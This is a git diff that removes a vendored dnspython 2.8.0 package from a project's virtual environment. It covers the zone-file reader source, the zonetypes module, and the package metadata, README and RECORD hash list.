name.relativize(self.zone_origin) - - try: - rd = dns.rdata.from_text( - rdclass, - rdtype, - rdata, - self.current_origin, - self.relativize, - self.zone_origin, - ) - except dns.exception.SyntaxError: - # Catch and reraise. - raise - except Exception: - # All exceptions that occur in the processing of rdata - # are treated as syntax errors. This is not strictly - # correct, but it is correct almost all of the time. - # We convert them to syntax errors so that we can emit - # helpful filename:line info. - (ty, va) = sys.exc_info()[:2] - raise dns.exception.SyntaxError( - f"caught exception {str(ty)}: {str(va)}" - ) - - self.txn.add(name, ttl, rd) - - def read(self) -> None: - """Read a DNS zone file and build a zone object. - - @raises dns.zone.NoSOA: No SOA RR was found at the zone origin - @raises dns.zone.NoNS: No NS RRset was found at the zone origin - """ - - try: - while 1: - token = self.tok.get(True, True) - if token.is_eof(): - if self.current_file is not None: - self.current_file.close() - if len(self.saved_state) > 0: - ( - self.tok, - self.current_origin, - self.last_name, - self.current_file, - self.last_ttl, - self.last_ttl_known, - self.default_ttl, - self.default_ttl_known, - ) = self.saved_state.pop(-1) - continue - break - elif token.is_eol(): - continue - elif token.is_comment(): - self.tok.get_eol() - continue - elif token.value[0] == "$" and len(self.allowed_directives) > 0: - # Note that we only run directive processing code if at least - # one directive is allowed in order to be backwards compatible - c = token.value.upper() - if c not in self.allowed_directives: - raise dns.exception.SyntaxError( - f"zone file directive '{c}' is not allowed" - ) - if c == "$TTL": - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError("bad $TTL") - self.default_ttl = dns.ttl.from_text(token.value) - self.default_ttl_known = True - self.tok.get_eol() - elif c == "$ORIGIN": - self.current_origin = self.tok.get_name() - self.tok.get_eol() - if self.zone_origin is None: - self.zone_origin = self.current_origin - self.txn._set_origin(self.current_origin) - elif c == "$INCLUDE": - token = self.tok.get() - filename = token.value - token = self.tok.get() - new_origin: dns.name.Name | None - if token.is_identifier(): - new_origin = dns.name.from_text( - token.value, self.current_origin, self.tok.idna_codec - ) - self.tok.get_eol() - elif not token.is_eol_or_eof(): - raise dns.exception.SyntaxError("bad origin in $INCLUDE") - else: - new_origin = self.current_origin - self.saved_state.append( - ( - self.tok, - self.current_origin, - self.last_name, - self.current_file, - self.last_ttl, - self.last_ttl_known, - self.default_ttl, - self.default_ttl_known, - ) - ) - self.current_file = open(filename, encoding="utf-8") - self.tok = dns.tokenizer.Tokenizer(self.current_file, filename) - self.current_origin = new_origin - elif c == "$GENERATE": - self._generate_line() - else: - raise dns.exception.SyntaxError( - f"Unknown zone file directive '{c}'" - ) - continue - self.tok.unget(token) - self._rr_line() - except dns.exception.SyntaxError as detail: - (filename, line_number) = self.tok.where() - if detail is None: - detail = "syntax error" - ex = dns.exception.SyntaxError(f"{filename}:{line_number}: {detail}") - tb = sys.exc_info()[2] - raise ex.with_traceback(tb) from None - - -class RRsetsReaderTransaction(dns.transaction.Transaction): - def __init__(self, manager, replacement, read_only): - assert not read_only - super().__init__(manager, replacement, read_only) - self.rdatasets = {} - - def _get_rdataset(self, name, rdtype, covers): - return self.rdatasets.get((name, rdtype, covers)) - - def _get_node(self, name): - rdatasets = [] - for (rdataset_name, _, _), rdataset in self.rdatasets.items(): - if name == rdataset_name: - rdatasets.append(rdataset) - if len(rdatasets) == 0: - return None - node = dns.node.Node() - node.rdatasets = rdatasets - return node - - def _put_rdataset(self, name, rdataset): - self.rdatasets[(name, rdataset.rdtype, rdataset.covers)] = rdataset - - def _delete_name(self, name): - # First remove any changes involving the name - remove = [] - for key in self.rdatasets: - if key[0] == name: - remove.append(key) - if len(remove) > 0: - for key in remove: - del self.rdatasets[key] - - def _delete_rdataset(self, name, rdtype, covers): - try: - del self.rdatasets[(name, rdtype, covers)] - except KeyError: - pass - - def _name_exists(self, name): - for n, _, _ in self.rdatasets: - if n == name: - return True - return False - - def _changed(self): - return len(self.rdatasets) > 0 - - def _end_transaction(self, commit): - if commit and self._changed(): - rrsets = [] - for (name, _, _), rdataset in self.rdatasets.items(): - rrset = dns.rrset.RRset( - name, rdataset.rdclass, rdataset.rdtype, rdataset.covers - ) - rrset.update(rdataset) - rrsets.append(rrset) - self.manager.set_rrsets(rrsets) # pyright: ignore - - def _set_origin(self, origin): - pass - - def _iterate_rdatasets(self): - raise NotImplementedError # pragma: no cover - - def _iterate_names(self): - raise NotImplementedError # pragma: no cover - - -class RRSetsReaderManager(dns.transaction.TransactionManager): - def __init__( - self, - origin: dns.name.Name | None = dns.name.root, - relativize: bool = False, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - ): - self.origin = origin - self.relativize = relativize - self.rdclass = rdclass - self.rrsets: List[dns.rrset.RRset] = [] - - def reader(self): # pragma: no cover - raise NotImplementedError - - def writer(self, replacement=False): - assert replacement is True - return RRsetsReaderTransaction(self, True, False) - - def get_class(self): - return self.rdclass - - def origin_information(self): - if self.relativize: - effective = dns.name.empty - else: - effective = self.origin - return (self.origin, self.relativize, effective) - - def set_rrsets(self, rrsets: List[dns.rrset.RRset]) -> None: - self.rrsets = rrsets - - -def read_rrsets( - text: Any, - name: dns.name.Name | str | None = None, - ttl: int | None = None, - rdclass: dns.rdataclass.RdataClass | str | None = dns.rdataclass.IN, - default_rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - rdtype: dns.rdatatype.RdataType | str | None = None, - default_ttl: int | str | None = None, - idna_codec: dns.name.IDNACodec | None = None, - origin: dns.name.Name | str | None = dns.name.root, - relativize: bool = False, -) -> List[dns.rrset.RRset]: - """Read one or more rrsets from the specified text, possibly subject - to restrictions. - - *text*, a file object or a string, is the input to process. - - *name*, a string, ``dns.name.Name``, or ``None``, is the owner name of - the rrset. If not ``None``, then the owner name is "forced", and the - input must not specify an owner name. If ``None``, then any owner names - are allowed and must be present in the input. - - *ttl*, an ``int``, string, or None. If not ``None``, the the TTL is - forced to be the specified value and the input must not specify a TTL. - If ``None``, then a TTL may be specified in the input. If it is not - specified, then the *default_ttl* will be used. - - *rdclass*, a ``dns.rdataclass.RdataClass``, string, or ``None``. If - not ``None``, then the class is forced to the specified value, and the - input must not specify a class. If ``None``, then the input may specify - a class that matches *default_rdclass*. Note that it is not possible to - return rrsets with differing classes; specifying ``None`` for the class - simply allows the user to optionally type a class as that may be convenient - when cutting and pasting. - - *default_rdclass*, a ``dns.rdataclass.RdataClass`` or string. The class - of the returned rrsets. - - *rdtype*, a ``dns.rdatatype.RdataType``, string, or ``None``. If not - ``None``, then the type is forced to the specified value, and the - input must not specify a type. If ``None``, then a type must be present - for each RR. - - *default_ttl*, an ``int``, string, or ``None``. If not ``None``, then if - the TTL is not forced and is not specified, then this value will be used. - if ``None``, then if the TTL is not forced an error will occur if the TTL - is not specified. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. Note that codecs only apply to the owner name; dnspython does - not do IDNA for names in rdata, as there is no IDNA zonefile format. - - *origin*, a string, ``dns.name.Name``, or ``None``, is the origin for any - relative names in the input, and also the origin to relativize to if - *relativize* is ``True``. - - *relativize*, a bool. If ``True``, names are relativized to the *origin*; - if ``False`` then any relative names in the input are made absolute by - appending the *origin*. - """ - if isinstance(origin, str): - origin = dns.name.from_text(origin, dns.name.root, idna_codec) - if isinstance(name, str): - name = dns.name.from_text(name, origin, idna_codec) - if isinstance(ttl, str): - ttl = dns.ttl.from_text(ttl) - if isinstance(default_ttl, str): - default_ttl = dns.ttl.from_text(default_ttl) - if rdclass is not None: - rdclass = dns.rdataclass.RdataClass.make(rdclass) - else: - rdclass = None - default_rdclass = dns.rdataclass.RdataClass.make(default_rdclass) - if rdtype is not None: - rdtype = dns.rdatatype.RdataType.make(rdtype) - else: - rdtype = None - manager = RRSetsReaderManager(origin, relativize, default_rdclass) - with manager.writer(True) as txn: - tok = dns.tokenizer.Tokenizer(text, "", idna_codec=idna_codec) - reader = Reader( - tok, - default_rdclass, - txn, - allow_directives=False, - force_name=name, - force_ttl=ttl, - force_rdclass=rdclass, - force_rdtype=rdtype, - default_ttl=default_ttl, - ) - reader.read() - return manager.rrsets diff --git a/venv/Lib/site-packages/dns/zonetypes.py b/venv/Lib/site-packages/dns/zonetypes.py deleted file mode 100644 index 195ee2ec9b5f62e15d27f196d5f4244f4290f0b4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/zonetypes.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -"""Common zone-related types.""" - -# This is a separate file to avoid import circularity between dns.zone and -# the implementation of the ZONEMD type. - -import hashlib - -import dns.enum - - -class DigestScheme(dns.enum.IntEnum): - """ZONEMD Scheme""" - - SIMPLE = 1 - - @classmethod - def _maximum(cls): - return 255 - - -class DigestHashAlgorithm(dns.enum.IntEnum): - """ZONEMD Hash Algorithm""" - - SHA384 = 1 - SHA512 = 2 - - @classmethod - def _maximum(cls): - return 255 - - -_digest_hashers = { - DigestHashAlgorithm.SHA384: hashlib.sha384, - DigestHashAlgorithm.SHA512: hashlib.sha512, -} diff --git a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/INSTALLER b/venv/Lib/site-packages/dnspython-2.8.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/METADATA b/venv/Lib/site-packages/dnspython-2.8.0.dist-info/METADATA deleted file mode 100644 index eaaf09bba9345ff9dd70a02dd837bd5e32fdb795..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/METADATA +++ /dev/null @@ -1,149 +0,0 @@ -Metadata-Version: 2.4 -Name: dnspython -Version: 2.8.0 -Summary: DNS toolkit -Project-URL: homepage, https://www.dnspython.org -Project-URL: repository, https://github.com/rthalley/dnspython.git -Project-URL: documentation, https://dnspython.readthedocs.io/en/stable/ -Project-URL: issues, https://github.com/rthalley/dnspython/issues -Author-email: Bob Halley -License: ISC -License-File: LICENSE -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Intended Audience :: System Administrators -Classifier: License :: OSI Approved :: ISC License (ISCL) -Classifier: Operating System :: Microsoft :: Windows -Classifier: Operating System :: POSIX -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Topic :: Internet :: Name Service (DNS) -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Python: >=3.10 -Provides-Extra: dev -Requires-Dist: black>=25.1.0; extra == 'dev' -Requires-Dist: coverage>=7.0; extra == 'dev' -Requires-Dist: flake8>=7; extra == 'dev' -Requires-Dist: hypercorn>=0.17.0; extra == 'dev' -Requires-Dist: mypy>=1.17; extra == 'dev' -Requires-Dist: pylint>=3; extra == 'dev' -Requires-Dist: pytest-cov>=6.2.0; extra == 'dev' -Requires-Dist: pytest>=8.4; extra == 'dev' -Requires-Dist: quart-trio>=0.12.0; extra == 'dev' -Requires-Dist: sphinx-rtd-theme>=3.0.0; extra == 'dev' -Requires-Dist: sphinx>=8.2.0; extra == 'dev' -Requires-Dist: twine>=6.1.0; extra == 'dev' -Requires-Dist: wheel>=0.45.0; extra == 'dev' -Provides-Extra: dnssec -Requires-Dist: cryptography>=45; extra == 'dnssec' -Provides-Extra: doh -Requires-Dist: h2>=4.2.0; extra == 'doh' -Requires-Dist: httpcore>=1.0.0; extra == 'doh' -Requires-Dist: httpx>=0.28.0; extra == 'doh' -Provides-Extra: doq -Requires-Dist: aioquic>=1.2.0; extra == 'doq' -Provides-Extra: idna -Requires-Dist: idna>=3.10; extra == 'idna' -Provides-Extra: trio -Requires-Dist: trio>=0.30; extra == 'trio' -Provides-Extra: wmi -Requires-Dist: wmi>=1.5.1; (platform_system == 'Windows') and extra == 'wmi' -Description-Content-Type: text/markdown - -# dnspython - -[![Build Status](https://github.com/rthalley/dnspython/actions/workflows/ci.yml/badge.svg)](https://github.com/rthalley/dnspython/actions/) -[![Documentation Status](https://readthedocs.org/projects/dnspython/badge/?version=latest)](https://dnspython.readthedocs.io/en/latest/?badge=latest) -[![PyPI version](https://badge.fury.io/py/dnspython.svg)](https://badge.fury.io/py/dnspython) -[![License: ISC](https://img.shields.io/badge/License-ISC-brightgreen.svg)](https://opensource.org/licenses/ISC) -[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) - -## INTRODUCTION - -`dnspython` is a DNS toolkit for Python. It supports almost all record types. It -can be used for queries, zone transfers, and dynamic updates. It supports -TSIG-authenticated messages and EDNS0. - -`dnspython` provides both high- and low-level access to DNS. The high-level -classes perform queries for data of a given name, type, and class, and return an -answer set. The low-level classes allow direct manipulation of DNS zones, -messages, names, and records. - -To see a few of the ways `dnspython` can be used, look in the `examples/` -directory. - -`dnspython` is a utility to work with DNS, `/etc/hosts` is thus not used. For -simple forward DNS lookups, it's better to use `socket.getaddrinfo()` or -`socket.gethostbyname()`. - -`dnspython` originated at Nominum where it was developed to facilitate the -testing of DNS software. - -## ABOUT THIS RELEASE - -This is of `dnspython` 2.8.0. -Please read -[What's New](https://dnspython.readthedocs.io/en/stable/whatsnew.html) for -information about the changes in this release. - -## INSTALLATION - -* Many distributions have dnspython packaged for you, so you should check there - first. -* To use a wheel downloaded from PyPi, run: - -``` - pip install dnspython -``` - -* To install from the source code, go into the top-level of the source code - and run: - -``` - pip install --upgrade pip build - python -m build - pip install dist/*.whl -``` - -* To install the latest from the main branch, run -`pip install git+https://github.com/rthalley/dnspython.git` - -`dnspython`'s default installation does not depend on any modules other than -those in the Python standard library. To use some features, additional modules -must be installed. For convenience, `pip` options are defined for the -requirements. - -If you want to use DNS-over-HTTPS, run -`pip install dnspython[doh]`. - -If you want to use DNSSEC functionality, run -`pip install dnspython[dnssec]`. - -If you want to use internationalized domain names (IDNA) -functionality, you must run -`pip install dnspython[idna]` - -If you want to use the Trio asynchronous I/O package, run -`pip install dnspython[trio]`. - -If you want to use WMI on Windows to determine the active DNS settings -instead of the default registry scanning method, run -`pip install dnspython[wmi]`. - -If you want to try the experimental DNS-over-QUIC code, run -`pip install dnspython[doq]`. - -Note that you can install any combination of the above, e.g.: -`pip install dnspython[doh,dnssec,idna]` - -### Notices - -Python 2.x support ended with the release of 1.16.0. `dnspython` supports Python 3.10 -and later. Future support is aligned with the lifetime of the Python 3 versions. - -Documentation has moved to -[dnspython.readthedocs.io](https://dnspython.readthedocs.io). diff --git a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/RECORD b/venv/Lib/site-packages/dnspython-2.8.0.dist-info/RECORD deleted file mode 100644 index 1cc3f2ccf2b78d1486224000fe3fde25886cb58c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/RECORD +++ /dev/null @@ -1,305 +0,0 @@ -dns/__init__.py,sha256=2TTaN3FRnBIkYhrrkDUs7XYnu4h9zTlfOWdQ4nLuxnA,1693 -dns/__pycache__/__init__.cpython-314.pyc,, -dns/__pycache__/_asyncbackend.cpython-314.pyc,, -dns/__pycache__/_asyncio_backend.cpython-314.pyc,, -dns/__pycache__/_ddr.cpython-314.pyc,, -dns/__pycache__/_features.cpython-314.pyc,, -dns/__pycache__/_immutable_ctx.cpython-314.pyc,, -dns/__pycache__/_no_ssl.cpython-314.pyc,, -dns/__pycache__/_tls_util.cpython-314.pyc,, -dns/__pycache__/_trio_backend.cpython-314.pyc,, -dns/__pycache__/asyncbackend.cpython-314.pyc,, -dns/__pycache__/asyncquery.cpython-314.pyc,, -dns/__pycache__/asyncresolver.cpython-314.pyc,, -dns/__pycache__/btree.cpython-314.pyc,, -dns/__pycache__/btreezone.cpython-314.pyc,, -dns/__pycache__/dnssec.cpython-314.pyc,, -dns/__pycache__/dnssectypes.cpython-314.pyc,, -dns/__pycache__/e164.cpython-314.pyc,, -dns/__pycache__/edns.cpython-314.pyc,, -dns/__pycache__/entropy.cpython-314.pyc,, -dns/__pycache__/enum.cpython-314.pyc,, -dns/__pycache__/exception.cpython-314.pyc,, -dns/__pycache__/flags.cpython-314.pyc,, -dns/__pycache__/grange.cpython-314.pyc,, -dns/__pycache__/immutable.cpython-314.pyc,, -dns/__pycache__/inet.cpython-314.pyc,, -dns/__pycache__/ipv4.cpython-314.pyc,, -dns/__pycache__/ipv6.cpython-314.pyc,, -dns/__pycache__/message.cpython-314.pyc,, -dns/__pycache__/name.cpython-314.pyc,, -dns/__pycache__/namedict.cpython-314.pyc,, -dns/__pycache__/nameserver.cpython-314.pyc,, -dns/__pycache__/node.cpython-314.pyc,, -dns/__pycache__/opcode.cpython-314.pyc,, -dns/__pycache__/query.cpython-314.pyc,, -dns/__pycache__/rcode.cpython-314.pyc,, -dns/__pycache__/rdata.cpython-314.pyc,, -dns/__pycache__/rdataclass.cpython-314.pyc,, -dns/__pycache__/rdataset.cpython-314.pyc,, -dns/__pycache__/rdatatype.cpython-314.pyc,, -dns/__pycache__/renderer.cpython-314.pyc,, -dns/__pycache__/resolver.cpython-314.pyc,, -dns/__pycache__/reversename.cpython-314.pyc,, -dns/__pycache__/rrset.cpython-314.pyc,, -dns/__pycache__/serial.cpython-314.pyc,, -dns/__pycache__/set.cpython-314.pyc,, -dns/__pycache__/tokenizer.cpython-314.pyc,, -dns/__pycache__/transaction.cpython-314.pyc,, -dns/__pycache__/tsig.cpython-314.pyc,, -dns/__pycache__/tsigkeyring.cpython-314.pyc,, -dns/__pycache__/ttl.cpython-314.pyc,, -dns/__pycache__/update.cpython-314.pyc,, -dns/__pycache__/version.cpython-314.pyc,, -dns/__pycache__/versioned.cpython-314.pyc,, -dns/__pycache__/win32util.cpython-314.pyc,, -dns/__pycache__/wire.cpython-314.pyc,, -dns/__pycache__/xfr.cpython-314.pyc,, -dns/__pycache__/zone.cpython-314.pyc,, -dns/__pycache__/zonefile.cpython-314.pyc,, -dns/__pycache__/zonetypes.cpython-314.pyc,, -dns/_asyncbackend.py,sha256=bv-2iaDTEDH4Esx2tc2GeVCnaqHtsQqb3WWqoYZngzA,2403 -dns/_asyncio_backend.py,sha256=08Ezq3L8G190Sdr8qMgjwnWNhbyMa1MFB3pWYkGQ0a0,9147 -dns/_ddr.py,sha256=rHXKC8kncCTT9N4KBh1flicl79nyDjQ-DDvq30MJ3B8,5247 -dns/_features.py,sha256=VYTUetGL5x8IEtxMUQk9_ftat2cvyYJw8HfIfpMM8D8,2493 -dns/_immutable_ctx.py,sha256=Schj9tuGUAQ_QMh612H7Uq6XcvPo5AkVwoBxZJJ8liA,2478 -dns/_no_ssl.py,sha256=M8mj_xYkpsuhny_vHaTWCjI1pNvekYG6V52kdqFkUYY,1502 -dns/_tls_util.py,sha256=kcvrPdGnSGP1fP9sNKekBZ3j-599HwZkmAk6ybyCebM,528 -dns/_trio_backend.py,sha256=Tqzm46FuRSYkUJDYL8qp6Qk8hbc6ZxiLBc8z-NsTULg,8597 -dns/asyncbackend.py,sha256=82fXTFls_m7F_ekQbgUGOkoBbs4BI-GBLDZAWNGUvJ0,2796 -dns/asyncquery.py,sha256=34B1EIekX3oSg0jF8ZSqEiUbNZTsJa3r2oqC01OIY7U,32329 -dns/asyncresolver.py,sha256=TncJ7UukzA0vF79AwNa2gel0y9UO02tCdQf3zUHbygg,17728 -dns/btree.py,sha256=QPz4IzW_yTtSmz_DC6LKvZdJvTs50CQRKbAa0UAFMTs,30757 -dns/btreezone.py,sha256=H9orKjQaMhnPjtAhHpRZlV5wd91N17iuqOmTUVzv6sU,13082 -dns/dnssec.py,sha256=zXqhmUM4k6M-9YVR49crEI6Jc0zhZSk7NX9BWDafhTQ,41356 -dns/dnssecalgs/__init__.py,sha256=B4hebjElugf8zhCauhH6kvACqI50iYLSKxEqUfL6970,4350 -dns/dnssecalgs/__pycache__/__init__.cpython-314.pyc,, -dns/dnssecalgs/__pycache__/base.cpython-314.pyc,, -dns/dnssecalgs/__pycache__/cryptography.cpython-314.pyc,, -dns/dnssecalgs/__pycache__/dsa.cpython-314.pyc,, -dns/dnssecalgs/__pycache__/ecdsa.cpython-314.pyc,, -dns/dnssecalgs/__pycache__/eddsa.cpython-314.pyc,, -dns/dnssecalgs/__pycache__/rsa.cpython-314.pyc,, -dns/dnssecalgs/base.py,sha256=4Oq9EhKBEYupojZ3hENBiuq2Js3Spimy_NeDb9Rl1a8,2497 -dns/dnssecalgs/cryptography.py,sha256=utsBa_s8OOOKUeudvFullBNMRMjHmeoa66RNA6UiJMw,2428 -dns/dnssecalgs/dsa.py,sha256=ONilkD8Hhartj3Mwe7LKBT0vXS4E0KgfvTtV2ysZLhM,3605 -dns/dnssecalgs/ecdsa.py,sha256=TK8PclMAt7xVQTv6FIse9jZwXVCv_B-_AAgfhK0rTWQ,3283 -dns/dnssecalgs/eddsa.py,sha256=Yc0L9O2A_ySOSSalJiq5h7TU1LWtJgW1JIJWsGx96FI,2000 -dns/dnssecalgs/rsa.py,sha256=YOPPtpfOKdgBfBJvOcDofYTiC4mGmwCfqdYUvEbdHf8,3663 -dns/dnssectypes.py,sha256=CyeuGTS_rM3zXr8wD9qMT9jkzvVfTY2JWckUcogG83E,1799 -dns/e164.py,sha256=Sc-Ctv8lXpaDot_Su02wLFxLpxLReVW7_23YiGrnMC4,3937 -dns/edns.py,sha256=E5HRHMJNGGOyNvkR4iKY2jkaoQasa4K61Feuko9uY5s,17436 -dns/entropy.py,sha256=dSbsNoNVoypURvOu-clqMiD-dFQ-fsKOPYSHwoTjaec,4247 -dns/enum.py,sha256=PBphGzrIWOi8l3MgvkEMpsJapKIejkaQUqFuMWUcZXc,3685 -dns/exception.py,sha256=zEdlBUUsjb3dqk0etKxbFXUng0lLB7TPj7JFsNN7HzQ,5936 -dns/flags.py,sha256=cQ3kTFyvcKiWHAxI5AwchNqxVOrsIrgJ6brgrH42Wq8,2750 -dns/grange.py,sha256=ZqjNVDtb7i6E9D3ai6mcWR_nFNHyCXPp7j3dLFidtvY,2154 -dns/immutable.py,sha256=InrtpKvPxl-74oYbzsyneZwAuX78hUqeG22f2aniZbk,2017 -dns/inet.py,sha256=DbkUeb4PNLmxgUVPXX1GeWQH6e7a5WZ2AP_-befdg-o,5753 -dns/ipv4.py,sha256=dRiZRfyZAOlwlj3YlfbvZChRQAKstYh9k0ibNZwHu5U,2487 -dns/ipv6.py,sha256=GccOccOFZGFlwNFgV79GffZJv6u1GW28jM_amdiLqeM,6517 -dns/message.py,sha256=YVNQjYYFDSY6ttuwz_zvJnsCGuY1t11DdchsNlcBHG0,69152 -dns/name.py,sha256=rHvrUjhkCoR0_ANOH3fHJcY1swefx62SfBTDRvoGTsI,42910 -dns/namedict.py,sha256=hJRYpKeQv6Bd2LaUOPV0L_a0eXEIuqgggPXaH4c3Tow,4000 -dns/nameserver.py,sha256=LLOUGTjdAcj4cs-zAXeaH7Pf90IW0P64MQOrAb9PAPE,10007 -dns/node.py,sha256=Z2lzeqvPjqoR-Pbevp0OJqI_bGxwYzJIIevUccTElaM,12627 -dns/opcode.py,sha256=2EgPHQaGBRXN5q4C0KslagWbmWAbyT9Cw_cBj_sMXeA,2774 -dns/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -dns/query.py,sha256=85EWlMD1hDJO5xozZ7tFazMbZldpQ04L0sQFoQfBZiI,61686 -dns/quic/__init__.py,sha256=eqHPKj8SUk5rdeQxJSS-x3XSVqwcUPZlzTUio8mOpSg,2575 -dns/quic/__pycache__/__init__.cpython-314.pyc,, -dns/quic/__pycache__/_asyncio.cpython-314.pyc,, -dns/quic/__pycache__/_common.cpython-314.pyc,, -dns/quic/__pycache__/_sync.cpython-314.pyc,, -dns/quic/__pycache__/_trio.cpython-314.pyc,, -dns/quic/_asyncio.py,sha256=YgoU65THKtpHfV8UPAnNr-HkpbkR7XY01E7R3oh5apg,10314 -dns/quic/_common.py,sha256=M7lfxwUfr07fHkefo9BbRogQmwB_lEbittc7ZAQ_ulI,11087 -dns/quic/_sync.py,sha256=Ixj0BR6ngRWaKqTUiTrYbLw0rWVsUE6uJuNJB5oUlI0,10982 -dns/quic/_trio.py,sha256=NdClJJ80TY4kg8wM34JCfzX75fhhDb0vLy-WZkSyW6E,9452 -dns/rcode.py,sha256=A7UyvwbaFDz1PZaoYcAmXcerpZV-bRC2Zv3uJepiXa4,4181 -dns/rdata.py,sha256=7OAmPoSVEysCF84bjvaGXrfB1K69bpswaKtM1X89tXQ,31977 -dns/rdataclass.py,sha256=TK4W4ywB1L_X7EZqk2Gmwnu7vdQpolQF5DtQWyNk5xo,2984 -dns/rdataset.py,sha256=aoOatp7pbWhs2JieS0vcHnNc4dfwA0SBuvXAoqe3vxE,16627 -dns/rdatatype.py,sha256=W7r_B43ja4ZTHIJgqbb2eR99lXOYntf3ngGj396AvKg,7487 -dns/rdtypes/ANY/AFSDB.py,sha256=k75wMwreF1DAfDymu4lHh16BUx7ulVP3PLeQBZnkurY,1661 -dns/rdtypes/ANY/AMTRELAY.py,sha256=zE5xls02_NvbQwXUy-MnpV-uVVSJJuaKtZ86H8_X4ic,3355 -dns/rdtypes/ANY/AVC.py,sha256=SpsXYzlBirRWN0mGnQe0MdN6H8fvlgXPJX5PjOHnEak,1024 -dns/rdtypes/ANY/CAA.py,sha256=Hq1tHBrFW-BdxkjrGCq9u6ezaUHj6nFspBD5ClpkRYc,2456 -dns/rdtypes/ANY/CDNSKEY.py,sha256=bJAdrBMsFHIJz8TF1AxZoNbdxVWBCRTG-bR_uR_r_G4,1225 -dns/rdtypes/ANY/CDS.py,sha256=Y9nIRUCAabztVLbxm2SXAdYapFemCOUuGh5JqroCDUs,1163 -dns/rdtypes/ANY/CERT.py,sha256=OAYbtDdcwRhW8w_lbxHbgyWUHxYkTHV2zbiQff00X74,3547 -dns/rdtypes/ANY/CNAME.py,sha256=IHGGq2BDpeKUahTr1pvyBQgm0NGBI_vQ3Vs5mKTXO4w,1206 -dns/rdtypes/ANY/CSYNC.py,sha256=TnO2TjHfc9Cccfsz8dSsuH9Y53o-HllMVeU2DSAglrc,2431 -dns/rdtypes/ANY/DLV.py,sha256=J-pOrw5xXsDoaB9G0r6znlYXJtqtcqhsl1OXs6CPRU4,986 -dns/rdtypes/ANY/DNAME.py,sha256=yqXRtx4dAWwB4YCCv-qW6uaxeGhg2LPQ2uyKwWaMdXs,1150 -dns/rdtypes/ANY/DNSKEY.py,sha256=MD8HUVH5XXeAGOnFWg5aVz_w-2tXYwCeVXmzExhiIeQ,1223 -dns/rdtypes/ANY/DS.py,sha256=_gf8vk1O_uY8QXFjsfUw-bny-fm6e-QpCk3PT0JCyoM,995 -dns/rdtypes/ANY/DSYNC.py,sha256=q-26ceC4f2A2A6OmVaiOwDwAe_LAHvRsra1PZ4GyotA,2154 -dns/rdtypes/ANY/EUI48.py,sha256=x0BkK0sY_tgzuCwfDYpw6tyuChHjjtbRpAgYhO0Y44o,1151 -dns/rdtypes/ANY/EUI64.py,sha256=1jCff2-SXHJLDnNDnMW8Cd_o-ok0P3x6zKy_bcCU5h4,1161 -dns/rdtypes/ANY/GPOS.py,sha256=u4qwiDBVoC7bsKfxDKGbPjnOKddpdjy2p1AhziDWcPw,4439 -dns/rdtypes/ANY/HINFO.py,sha256=D2WvjTsvD_XqT8BepBIyjPL2iYGMgYqb1VQa9ApO0qE,2217 -dns/rdtypes/ANY/HIP.py,sha256=WSw31w96y1JM6ufasx7gRHUPTQuI5ejtyLxpD7vcINE,3216 -dns/rdtypes/ANY/ISDN.py,sha256=L4C2Rxrr4JJN17lmJRbZN8RhM_ujjwIskY_4V4Gd3r4,2723 -dns/rdtypes/ANY/L32.py,sha256=I0HcPHmvRUz2_yeDd0c5uueNKwcxmbz6V-7upNOc1GA,1302 -dns/rdtypes/ANY/L64.py,sha256=rbdYukNdezhQGH6vowKu1VbUWwi5cYSg_VbWEDWyYGA,1609 -dns/rdtypes/ANY/LOC.py,sha256=jxbB0bmbnMW8AVrElmoSW0SOmLPoEf5AwQLwUeAyMsY,11962 -dns/rdtypes/ANY/LP.py,sha256=X0xGo9vr1b3AQ8J8LPMyn_ooKRuEmjwdi7TGE2mqK_k,1332 -dns/rdtypes/ANY/MX.py,sha256=qQk83idY0-SbRMDmB15JOpJi7cSyiheF-ALUD0Ev19E,995 -dns/rdtypes/ANY/NID.py,sha256=8D8RDttb0BPObs0dXbFKajAhA05iZlqAq-51b6wusEI,1561 -dns/rdtypes/ANY/NINFO.py,sha256=bdL_-6Bejb2EH-xwR1rfSr_9E3SDXLTAnov7x2924FI,1041 -dns/rdtypes/ANY/NS.py,sha256=ThfaPalUlhbyZyNyvBM3k-7onl3eJKq5wCORrOGtkMM,995 -dns/rdtypes/ANY/NSEC.py,sha256=kicEYxcKaLBpV6C_M8cHdDaqBoiYl6EYtPvjyR6kExI,2465 -dns/rdtypes/ANY/NSEC3.py,sha256=NUG3AT626zu3My8QeNMiPVfpn3PRK9AGBkKW3cIZDzM,4250 -dns/rdtypes/ANY/NSEC3PARAM.py,sha256=-r5rBTMezSh7J9Wb7bWng_TXPKIETs2AXY4WFdhz7tM,2625 -dns/rdtypes/ANY/OPENPGPKEY.py,sha256=3LHryx1g0g-WrOI19PhGzGZG0anIJw2CCn93P4aT-Lk,1870 -dns/rdtypes/ANY/OPT.py,sha256=W36RslT_Psp95OPUC70knumOYjKpaRHvGT27I-NV2qc,2561 